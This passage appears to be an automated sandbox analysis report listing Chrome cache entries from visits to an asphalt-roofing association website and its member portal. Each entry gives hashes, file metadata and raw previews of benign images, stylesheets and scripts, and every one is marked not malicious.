Preview:	......JFIF..............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv...............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv.........................."..........3.............................................................................................................................................................................................................................................................................................................................................................................c...:.x..>S................................................ ..h.<.=f=.#.s..~.N...}.j............................................t.A..r.!........,...>....@..........................................."..{.....33.....3...x...~].............................................I.ei.._C.\|...&g.q.+iE.sa...c..=_%.p........................................\|...5;;.....k...h....Y....OG.x\|.D...r...........................................\oi.....c[c...Fy.(.

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	406
Entropy (8bit):	7.212759930426935
Encrypted:	false
SSDEEP:	6:6v/lhPuMNCTMXJWoK+RkvaI2vx+rCwoUIlqfGn51cFs68Mr/Q+gyuB3pysOzJG06:6v/7GMZdCv0+rzNzGnrcy68B7MN9o
MD5:	55ED8D5753A924EF5A5C07035559DE0B
SHA1:	FE692079C75531AC45A3CDB0A7E662FB1294422A
SHA-256:	2BAC22153BCCE91F261F68E54512FDD7572DF2AE553D89B3CF08E8FCE1CCC2E2
SHA-512:	B494EDDEB09333480832D9581D675AF657A7D6D56DC3F17ACFB684B3D2A4313F600756E968C15E180CFD633B06CFA4803A23F00EC64FF399F993372DEC4D5B78
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...(...... H_...!PLTE..................................:.)....tRNS..+@[\|....=Q....IDATx... ..Q.....gEV....f.".{#......."...7Z..\#.n...}.B$~.......-?O...yJ..M..!..@..1........-@.....h#.0..-z.D,....#.1...%.G;.....h'^b....v.....}..fP..M..@Y........)..afy.E...hN..w'hL7....o..P.8ba...k........j.p8H0-...M...2.k5.....+..{..3..p.m.h8-..e.A.[[..L;...eY.....^1R1......IEND.B`.

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12602), with CRLF line terminators
Category:	downloaded
Size (bytes):	58117
Entropy (8bit):	5.340355475326812
Encrypted:	false
SSDEEP:	1536:sxhMbEX0Tz6XFHkubrKahqQKNmU2WMghSk5h5rEUUrIUkx0+8rkUIpLM+IrAI9dx:MVHkubQ0
MD5:	C3964264DD1D7AB91734061E8F7BD170
SHA1:	319AEE37BF17124D322B5B2721D0AA884979B27A
SHA-256:	3D2C706C6C0D79356EBB6152AE1E607D31CCCFF9895043E31CA7F6D34CD79AE1
SHA-512:	FD361A1EB693A4EC343D0B9474FE521A83CEC80BF80A16BCDB235E8A7D8B7BF950A4A4A373C05CA1E695F74B88222FB49371483F056BCCA34222141543555787
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2
Preview:	/-----------------------------------------------------------------------------....-.Revolution Slider 6.0 Default Style Settings -....Screen Stylesheet....version: .6.0.0..date: .24/06/19..author:..themepunch..email: .info@themepunch.com..website: .http://www.themepunch.com..-----------------------------------------------------------------------------/..../* FIX FOR WORDPRESS's CRAZY <p> TAG ANOMALY /...rs-p-wp-fix { display: none !important; margin: 0 !important; height: 0px !important; } ..../ NEW Z-INDEX FIX*/...wp-block-themepunch-revslider { position: relative }....#debungcontrolls {...z-index:100000;...position:fixed;...bottom:0px; width:100%;...height:auto;...background:rgba(0,0,0,0.6);...padding:10px;...box-sizing: border-box;..}......rs-debug {...z-index:100000;...position:fixed;...top:0px; width:300px;...height:300px;...background:rgba(0,0,0,0.6);...padding:10px;...box-sizing: border-box;...color: #fff;...font-size: 10px;...line-height: 13px;...overflow: scr

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	98411
Entropy (8bit):	7.968348005549629
Encrypted:	false
SSDEEP:	1536:f5UHlh57uT4hohGOVC4YAUbDUcBM0Zg+vNQgW51e6xsnZnA1VORyw/G7GCE+oiTB:f5euooAjXzgQNQgW2dAjpa+FV
MD5:	24DD3B4840283780FF3CAFD77BD72A40
SHA1:	C185C999DA21F1684F50EC00352CF61E4679B250
SHA-256:	6D33A8F7F93AC84E152AF582FE2EC6CCA6F7FDF7A4E63188858FB87C4BD8C349
SHA-512:	79F6F0D03D9718DB788AF51A2D97C152F329EB1C421B7FD6EC20D15476586E83CA93D1125167F56841F27FE137A5C1C668CE4A239602F3C320211785BF5EF5ED
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/04/New-Video-Website-Banner_V2.png
Preview:	.PNG........IHDR...l.........U.`....{PLTE..................................................~~}ttt.b]llkbbbYZZ.A=RRRKKKCDD...>>>888t .333...]..)))Q..###.5A.........@.0....IDATx..].{.......i.[..@t\.8....._.If.....a.I...S.)....z.D.4_.r..+...:...Y.o=...g9...`...,`...,`...G.........r.......~..#_......5.........?..c......K.._...C....\|.o.O'........3....i...,g../......L..Ge.Hm..x@)..c>..`&.G.9!DB.I<.'~.....h..{.o...3?H>#u..G\|.#O....D}#........&...3...u..pA<..y.C....].r....`......()...rJg0VRQCA..e....N.^.H.4...>.@..J..e....:.........WB...c...P.R......\.D.<.R.5;...{.....(m^.v9.Y....-.4...mG........<t.0..Y..! .".....7.D!. 6..-$.m............#..].t.@T._!....~....`n+....mA.[.(.Uw.....e......G.zH.H.....l....l.&..p.B-x..Y..l.c....dLl.%!...I..d.FGV.o.4...f...I...dm..1[Gv.....](........#,..{......K\^.....?.k.5.%./%.....eKZ......\|..Z....Y..._.l.c.Em.f..p[.omI2, . "C..83Z3.Ux.....f}.uI.y..KW8....[....".Wm..5.../B....[...SZ..-xi.....jq...... -x.sf....Yb...r.....[.Q[

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (515)
Category:	downloaded
Size (bytes):	5128
Entropy (8bit):	4.77765892134678
Encrypted:	false
SSDEEP:	48:9AvTHFjOyPiY29tstQt6aNt6EzKM26TeUKnEzZQcLTeUjtXOQ:KvTHFjrPiY2rkALdj26TeUPacLTeUBXP
MD5:	AA1096F504EED78E03F223FD54BA1DAB
SHA1:	8DA5E554D2F2C733708FEA26BD1688BB204E0042
SHA-256:	656340973AB97B724260FAB3017AB42E49ADB85279603C2CCA49F068383D0529
SHA-512:	9F62EB7823AC0E9DE354E0824C609E330207FD6C1DE822495C85B0E885CF90ADFD7A9F0F57150A4E1C350C735DDF69710E2548E95763BBD486EEEEBF0D44D2A1
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-responsive.css?ver=1.0.5
Preview:	/* ..U-Design-WooCommerce responsive styles../.../ Mobile Screen ( smaller than 480px )*/.@media screen and (max-width: 480px) {.....woocommerce ul.products li.product, .woocommerce-page ul.products li.product {....margin: 0 3.8% 2.992em 0;....width: 46%;...}....woocommerce .related ul.products li.product, .woocommerce .related ul li.product, .woocommerce .upsells.products ul.products li.product, .woocommerce .upsells.products ul li.product, .woocommerce-page .related ul.products li.product, .woocommerce-page .related ul li.product, .woocommerce-page .upsells.products ul.products li.product, .woocommerce-page .upsells.products ul li.product, .woocommerce .cart-collaterals .cross-sells ul.products li, .woocommerce-page .cart-collaterals .cross-sells ul.products li {....width: 46%;...}......ul.products li.product a { font-size: 0.9em; }.......woocommerce div.product div.images, .woocommerce #content div.product div.images, .woocommerce-page div.product div.images, .woocommerce-page #co

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1205)
Category:	downloaded
Size (bytes):	3429
Entropy (8bit):	5.362772597318545
Encrypted:	false
SSDEEP:	96:rEtYsv3pBnMBnEe6stZye2z6CHdbhKKSzzWhMsAevqBZZon:gtYsPGM6yRhKVyvAevqBZZo
MD5:	0D5B722BEA1627DA49781FA9A3CC2803
SHA1:	F57DD6128B3D89D2CE2F4B374232C8ECDD409077
SHA-256:	B228D9E50D1D83FEC0CE02169C0CA5311FD7EBBFF73409C300C45357E3677B23
SHA-512:	14FD9E21AA51D0AD8BA59C35D208AC51EDA652F87C7F977D6077A6098B2A807308ADA0E6EC6738CA50AF65426A5033A6BF7F4B64722F9906D1025D91F432BEE4
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/overlay.js
Preview:	google.maps.__gjsload__('overlay', function(_){var BD=function(a){this.Fg=a},nna=function(){},CD=function(a){a.Yx=a.Yx\|\|new nna;return a.Yx},ona=function(a){this.Eh=new _.Zm(()=>{const b=a.Yx;if(a.getPanes()){if(a.getProjection()){if(!b.vw&&a.onAdd)a.onAdd();b.vw=!0;a.draw()}}else{if(b.vw)if(a.onRemove)a.onRemove();else a.remove();b.vw=!1}},0)},pna=function(a,b){const c=CD(a);let d=c.Ev;d\|\|(d=c.Ev=new ona(a));_.Pb(c.Rh\|\|[],_.uk);var e=c.li=c.li\|\|new _.Sia;const f=b.__gm;e.bindTo("zoom",f);e.bindTo("offset",f);e.bindTo("center",f,"projectionCenterQ");.e.bindTo("projection",b);e.bindTo("projectionTopLeft",f);e=c.PB=c.PB\|\|new BD(e);e.bindTo("zoom",f);e.bindTo("offset",f);e.bindTo("projection",b);e.bindTo("projectionTopLeft",f);a.bindTo("projection",e,"outProjection");a.bindTo("panes",f);e=()=>_.$m(d.Eh);c.Rh=[_.sk(a,"panes_changed",e),_.sk(f,"zoom_changed",e),_.sk(f,"offset_changed",e),_.sk(b,"projection_changed",e),_.sk(f,"projectioncenterq_changed",e)];_.$m(d.Eh);b instanceof _.Pk?(_.zl

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2180), with no line terminators
Category:	downloaded
Size (bytes):	2180
Entropy (8bit):	5.152350055914333
Encrypted:	false
SSDEEP:	48:ETxepY8ZGvFOFGBPiUuJmTLfkBLokYlX6X8+Deb:ENe28g/j3apYlX6Zib
MD5:	C6B58A78A93A98B3A28025F548002313
SHA1:	1D199A4EF466FCBEF6FAB499B4B06688D14A7197
SHA-256:	3F4C17F585F81F2E4D96DF49A7C6773023AD1AC887B66CE25EE84B8B01844E79
SHA-512:	DCBCF4B337AA8CA9130B1EC5842D83581B4712BD07AD73A5A9C3A49B6ED3AA4DA101C6506CCCDAAEC8E1CAC3DED7132377763A12906EEEC55213E50512CEA5AA
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/runtime.js
Preview:	!function(e){function r(r){for(var n,i,a=r[0],c=r[1],l=r[2],p=0,s=[];p<a.length;p++)o[i=a[p]]&&s.push(o[i][0]),o[i]=0;for(n in c)Object.prototype.hasOwnProperty.call(c,n)&&(e[n]=c[n]);for(f&&f(r);s.length;)s.shift()();return u.push.apply(u,l\|\|[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++)0!==o[t[a]]&&(n=!1);n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={0:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.e=function(e){var r=[],t=o[e];if(0!==t)if(t)r.push(t[2]);else{var n=new Promise(function(r,n){t=o[e]=[r,n]});r.push(t[2]=n);var u,a=document.createElement("script");a.charset="utf-8",a.timeout=120,i.nc&&a.setAttribute("nonce",i.nc),a.src=function(e){return i.p+""+({}[e]\|\|e)+".js"}(e),u=function(r){a.onerror=a.onload=null,clearTimeout(c);var t=o[e];if(0!==t){if(t){var n=r&&("load"===r.type?"missing":r.type),u=r&&r.target&&r.target.src,i=new E

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5188
Entropy (8bit):	7.918248242021582
Encrypted:	false
SSDEEP:	96:91HNqDuQEyrKNIKOL6h9nHgVjNXaiqJtBxDjN1JPvWVGDZweLn:91kDVKNIKOGXYXazTj35vWIn
MD5:	D3550C070254408C904B12BD67EB3532
SHA1:	6EE0E9E5CAD78B109783B28B8627BDEA5806C644
SHA-256:	7CBE391524E7F4DA2FA61959C3D6237C713846B6AEB1A76C6F5BE8D513EEB23A
SHA-512:	D38E43C8BAD1400883E49CF8168CDE8551D2BFF428CB2D1BCE5F4866BD05FDE26F041EAD807BB613C5417C4402A5718332342AB4B77AEF0F4CD7B13B18449A93
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,............ ....PLTEH-&..o_Tk........veL...........veL.s]a,.W..N..s!.t .M..t .t .t .^..F.............................t .N...:2veL.....z...........W.... tRNS..#.<.e..............b@n.....d;.k.....RIDATx...w.8............t.........e....$.w....>.J.R9;....x!.X..AY..D=.Ngs.o.gx..f.=...........LY.t;..e..3,.d2..ne.....~......."X.a.aXS..'...+..a!..}.O.........+..k.0..>..#....R#fE...M..fK6.n..2,u6J=..,...(.\.......W.....\..Xh..F.4,a.Z0..uL............U:.5'=.Z.,.....,...F.......\...s..E#f!9j...\q.+..kFL......_../..A.j6....I.k....{."..f^t.R.g.Q..S.kN"5R.u.X..&........s6......h...p.....BhoK.P.e8.wXd...;Q..VT.+.p.N.o...../....\|.%Tl..-..4Zw..s.Cr".OO.x.3.T.b.........Z..%bX.oU.fn......u`.5,.....=w.k.5...p.s...2..`I......f5...PZ...Yp.!..l.T.....8..ea...=...rF.&....r.H....G.i....R!/..".>;.kn_..P.o..q'yyh.....K8.7{&X.5M......2.....&..c4.k.5]......qX....P.<..lfm'.u...S.......................8..v.{.rX.f..&..s.U..........O*V..r=.B.+.1.p.../..]y..

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 20 x 864, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	302
Entropy (8bit):	6.664673587335054
Encrypted:	false
SSDEEP:	6:6v/lhPaW/+9MzME4rQxqxyIDDDLIfVLptyKlvFuAawxKRNqIpgIkYp:6v/7yn9MzR4Cq/DDLItLjdNu2xKR4Ip1
MD5:	5DA5C25450457A8E5DAD4B7F482A2EAC
SHA1:	908DDE9F709B1DABE7836D5DAAA52F7732D103FB
SHA-256:	0DAD2C74716DECC62A1C93046D8C82485EAB6EF0316B0C953D292CD67669122F
SHA-512:	DD818BDAB1B1117DF85753C27B186C3A918D7F0CCAAD313C1403B22DC70B345C53EB7EE1D56E1E1F1F93E84422914E2ECF125115A90F3A613549F07004B39320
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......`............IDATx...N.P....@.u1..q..W/CMi.....?.P.y...)....d...k-.TW...B.P(...B.P(...B.P(...B.P(......X....w...f....I..2d.9.Y\&..(m......q....$.p....q.x\..........czKr.1S.O..w.3.+iy:L.........+..z..........4p.S_5\n.;Z....X...................Q.s-..K-..1.VmH.......IEND.B`.

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 147, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4573
Entropy (8bit):	7.917760771354943
Encrypted:	false
SSDEEP:	96:LfvcrfyTgjLRTBtFa3uZFcWtUhGT0B9wWNh7qASOx91A/6Lx0LC:LfufpNuuZFbQD9bRBSOZE8YC
MD5:	C87C424CD424ED8E338B4DB46FE91FC0
SHA1:	3DD7FBEA601C95D1B53B87BE27F2F17FFA12AF7E
SHA-256:	EEE08C62D8554663F13F6A9A6A283F3AEFD4B41D55AEE9480CCE8580738D11CF
SHA-512:	27FE45D21351102A33617D9D8D28CE0AAF7983ACE70073056E3E863E43A24C1F78C4BB909C20AEA54709C090AD54D5C45F2270C881E4B4B369112FF56AB44636
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,..........H.S...HPLTE,"!L'u\Z2..`........r.....q..N..t .......t .L............uqt .Z..L......O3.....tRNS....BG[g..............3IDATx..].............i..O.G^(....m....@..vU......~...v....l.M.{.Z<\..3..?.....=.;s.... {.gh.@.4.N.G..#E..9.B.v...x....-~O.d......P..\f.X..Vx.f.,...%..g.....0K.8..Qg..haM~Xv..??.2kw.j2........">..0g..,l.....dLH).$(.....g.,..D\|F...h.a...E.l5.&.I..f5x`xR.zH..8.bP0..X.!..2.M..~.7..i.&.3.h.I......P.4.f...,.O..y."....&2.a.a._`...D.F\|j.."..Y..C....UOZ..5.a"..A........OxC.5..u....D..lE+.p.yNo./X.'M0..!1+........o..U..(ZY..1.0.T.YM.K<.h=....`..9G..M.....1....g.O.i=....E....c%j.!..T.Y.<......`A....D....r..s..~9.f.@~..T4.&Qn....I..\|...FrW!.5..>..1._.}.,..S.q...%....P.....A.P...y..CP.. b...Y;..OF5...y.}..5;Geq;<cNkw.R9..........Y.....M....i.YB..2e>..Y.4EN...Ek9......4M..b..A..>!..M.....<.U...2..7k....33.&.e..{....$..<.^.............9X..........Y..7....u........a)\|.nf).5T..h........~...a.[P.8...U...Jfi\|...N

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 242 x 102, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3342
Entropy (8bit):	7.917467486626529
Encrypted:	false
SSDEEP:	96:KC0EtNGGhdIjOf/tJhPfeIE2cvwY3BL7kxxZE:KC0EtNG6+AJYIE2cv/35kxHE
MD5:	5F02BA62D63081F54CF576579EB113F1
SHA1:	1957D481E89444CB3F02C146776498C4C5F069DD
SHA-256:	500D272DF2A6A489AB81E37A0032CFD019E426C58447C386B75DA18F6461073D
SHA-512:	0CCBA0C80DD6821A0211CFE782ED7D01C3D133FACE5A7D2A9785CD8A774993773EB633D4B4340DD9E102FCA304F023452A1866C4B5734923DD704470E9018F43
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/media/2017/04/logo.png
Preview:	.PNG........IHDR.......f......A<....EPLTEGpL.........h.....t!........WQ...UUUrrr......111...###AAA.tn..K....8.....tRNS.@..f...wIDATx..[.c...C...4....73...6.^Mv.n...o..8:M....+kaF.m...F.]...Zj.....R._...5...{z....q...O.[5.y.W`..-d.j.B/:...3.f\|...0..O.[..+...`.Z>.#7r..y..y.g...{.7....i`.]....+.O........z...V.N.h.....s...3/...1.`v7F.V....f\.#..-.......`+.w..`.+I.jv.;..:.H......G.%W..^..q.7.=..\..:.\/.&(L)a.@8_..>.....Ah^...>..b#.........p^\|.I\|....:./..<D.........\|Hq...)..p.v.7._..G..2... ...[k]F..`...?#..3w5..m0p.g..rX..M.pl>!@.:....F...zHB..,..5.B.......`..y.]D.,Y./.r$.7G.....u..2.....W.. ~...@.n..3()!\|U.?.[.q..w...yJ.):y4...)..^.........../.....l..#...._...J.....E...GS.!G.z..3....'..$m.e....).jy}.D!.$H.M........q.....\|..6.s.)...<..^....7.....7..M.?.._7<.e.E.^..0,..(\|...{......... . ..j.73...J...F...]._....Y.B..\|..U.4.`d..../..+.x...<...i..Mq.'...n.}y.m.OE.2..~}_+..........7*.....A.]f......H...\|"....r.....:.O\..>.Y..(xw6...[R..

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	16626
Entropy (8bit):	4.543901353397735
Encrypted:	false
SSDEEP:	384:5zq4PtArVnbXklkBec0zxThGdnbQ0OFtv9AGhsl:5PRkBec0zxTkdnM0OFtv9AGhsl
MD5:	A1AA3DB5B7006811BEDDDA7771041F63
SHA1:	AD9A6A7FB158A39677E24A3AD43AE24914D287B6
SHA-256:	D3F4DFBC178649B5DC6AD787E121DD9509E2AE2E99261EA95759DD8268E31CED
SHA-512:	D2A6180B4D2CB93C066F24B5F65A3EB607D91151F015D2BF21CE94A11DB6A8D3B6909A1E3EA08C07AAE64A4FA8BC15820A16DEAC0168BB9827F11BB0DB0214CC
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jquery.tablednd-0.5.js
Preview:	/*. TableDnD plug-in for JQuery, allows you to drag and drop table rows. * You can set up various options to control how the system will work. * Copyright (c) Denis Howlett <denish@isocra.com>. * Licensed like jQuery, see http://docs.jquery.com/License.. . Configuration options:. * . * onDragStyle. * This is the style that is assigned to the row during drag. There are limitations to the styles that can be. * associated with a row (such as you can't assign a border--well you can, but it won't be. * displayed). (So instead consider using onDragClass.) The CSS style to apply is specified as. * a map (as used in the jQuery css(...) function).. * onDropStyle. * This is the style that is assigned to the row when it is dropped. As for onDragStyle, there are limitations. * to what you can do. Also this replaces the original style, so again consider using onDragClass which. * is simply added and then removed on drop.. * onDragClass. * This class is added fo

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fcontact-us&trace_id=b49b6306e67848e88d5e4c09c66a1ed9&cts=2024-04-23T14%3A54%3A14.751Z&hit_id=e88b5b69-12ea-4a64-8b31-7e19cba2e848&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=31576341&z=1988762373&tce=1713884050613&tcs=1713884050370&tdc=1713884054700&tdclee=1713884053214&tdcles=1713884053171&tdi=1713884053171&tdl=1713884051837&tdle=1713884050370&tdls=1713884050370&tfs=1713884050354&tns=1713884050352&trqs=1713884050613&tre=1713884052117&trps=1713884051830&tles=1713884054700&tlee=0&nt=navigate&LCP=2372&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x200, components 3
Category:	downloaded
Size (bytes):	8822
Entropy (8bit):	7.939235072786664
Encrypted:	false
SSDEEP:	192:+y57dSOZ5VdcL442/7pydW7wtYAVUaYLtgmx4vZBG:+ytdSUdL42/7ph70f1YLtDoZBG
MD5:	4FDCA50471302EC449A8E58A151D8EA5
SHA1:	1ABDBC97CEF66764D2C675F07243A1B2642D2CC7
SHA-256:	2670DE2BC007FBCBDFD582B85C4A7D6D51E9415AE11E578F26E9892A85B964B7
SHA-512:	82F7BD4B13C61D4F175ACE1FB7C5B7A6BECECBAC0E50D0D462E5397EDD1C5DF4CEAEFA41C632BE79EAC2B13E39C2F4533EFB750489909AB7831C07153B1C3792
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg
Preview:	......JFIF.................................... ..... 1.$..$.1,5+(+5,N=77=NZLHLZnbbn............................ ..... 1.$..$.1,5+(+5,N=77=NZLHLZnbbn..............,.."..........3................................................................4.~1i........~...............R...........i.....j...t.:.!.o....hY.....~.;k..P...=...x...Uc.\|....:DK..d..Pw.?..\|....v..C....sc%i.UP.`..X$..oB........(..V.X.O._.%z...rh.hUi.....p...rE"....%"...J....O3..?...n:.M.8...@1..kw.y.Ydt#eCe.Bd=~mTF.^..bH....I..I."_..W..$..7..&..:..T?3.e.t...b..-O.c..}Q.x=.d....X}!q...... ...V.=eF.......q.G...<...7$..JD)Y.b.G>}Z[...s.0..?...Pjc.N.h/..+....7a.....?F3D.',.....T(r9b<..p...^....$.%w......-.W.l....n=m..JzdD..f.......+.<.'C."....X.3Z...{rk.M.yq5..w'..B/...p[.s....l..c.....j}.a.B..}1z.........}+.f..{T;ef:D]...\|..."...S}K.....I..P..5M}...\|.V.+....n.;..l.Ih.].=.La.s....p.S.JQ...u:.;.y.0iu.D8....z.../..A.........>.....0.at........Ob...)...g.].y./+...2......g..h.?UWW]W\.-........

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	4.823354803944091
Encrypted:	false
SSDEEP:	12:YO/s4vd3CIdVYKvHMLmBDc+imAmdvpS4uh6uSygmUSnTlFjBvmdvpSausp6yqnn:YO/s4V/VYQucb9S4+6ZX/6SSadDSn
MD5:	F619612F99B9C1323B51D62A0BD4ACB9
SHA1:	209C5263C19FD356F36D6B6CCF73CA25B20B28F7
SHA-256:	DC0ED1BEF14B38376E5C827E694831F6C89B77D60359C60F5DB837736F719A7B
SHA-512:	7824C82F379B04154BC7F0D3DF3A63D66E6FF7DD40182C50967FEFC15F34451091261D5DB2FFEB1AD6F7E58225612BBCDF52DC7077A19E51E02DD122F3D517A5
Malicious:	false
Reputation:	low
Preview:	{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-content\">0 items - <span class=\"woocommerce-Price-amount amount\"><span class=\"woocommerce-Price-amount amount\"><bdi><span class=\"woocommerce-Price-currencySymbol\">$<\/span>0.00<\/bdi><\/span><\/span><\/span>\n\t ","a.udesign-wc-cart-contents":"\t\t\t\t\t<a class=\"udesign-wc-cart-contents cart-contents-count-0\" href=\"https:\/\/www.asphaltroofing.org\/arma-publications\/cart\/\" title=\"View your shopping cart\">\n\t\t\t\t\t\tCart: <span class=\"woocommerce-Price-amount amount\"><bdi><span class=\"woocommerce-Price-currencySymbol\">$<\/span>0.00<\/bdi><\/span> <span class=\"ud-wc-cart-num-items\">( 0 )<\/span> \t\t\t\t\t<\/a>\n\t\t\t\t"},"cart_hash":""}

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3546
Entropy (8bit):	7.914049951252833
Encrypted:	false
SSDEEP:	96:peyr/WuXhNeM1Al5TKrTsFWq6GjDUKWws:pvjXVAArCnwjP
MD5:	693C0B84EB9A1D351C3D6C23E17D6297
SHA1:	1E013A6E5DB80AF52B90176609E8FF4500F8B462
SHA-256:	D8E2572462645F6EBDD8C22A520CD823CDA8B903D4414631465AAB341E01A15D
SHA-512:	E07BE7F52819D6CD8C17D8E43731639BDCFA33BEF9B48F364B81DEDE66DA2579FF6B90E0DD4040C21736F92B34F48543DFB99D4849EAD5446D4562F9D5029756
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=63550
Preview:	.PNG........IHDR.............k.XT....pHYs................PLTE...............................quy.....P.....VIDATx....r.(...psH....k..c.)$....V6v../..{a...wbX8.....x.0.1,....Qa%..........C:P.......u ..3.a.u..F......@!``#.'....!...#......<.P.B..1,...#.2B^k1(....x...i...@...)$....ZL.2...2&.^+.U.ZNv.;..;...8...q.iRqX......$1(....Wj.....U...!......Q...j....2.:.1.?MrLW.".q\|.."..%..D@..8.d....:.A....@..CJ..A\|.Q.I)R.~D...aJ....@'e'........^N..d..$@@..c.4j~X. ....FM. =.C....u...../i.HX...L..!.+..\.ae @..4.q..l.P6....h......,.i...../.%7 .....B..M..%^..9b.LKP.HQ.@..F1&(%.G .[6EuC.J..Z@P..e....L..v.."\|.....aK.`.U#j...\|...n.....a...K7.P:yns'R#..d/. E....w...K...#p..y..".......I?..u7....Z....n$ _.8.%..........K.;..asg.{..8.E....g..>.e;.%.4..=.`]....w+.D......C....\..+...F....&f..\./.._.K...QIu ...D..&...H...=.h....r........0.4E....h...P(x./.f...n.].h.It.....f.Q...o....H.0....X.xc.lP.wP.)....Ao.>p.......Ld~ ,&..".....dOpQ...n..P..sv.D..{V-.."Y...U..}=d_....D

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
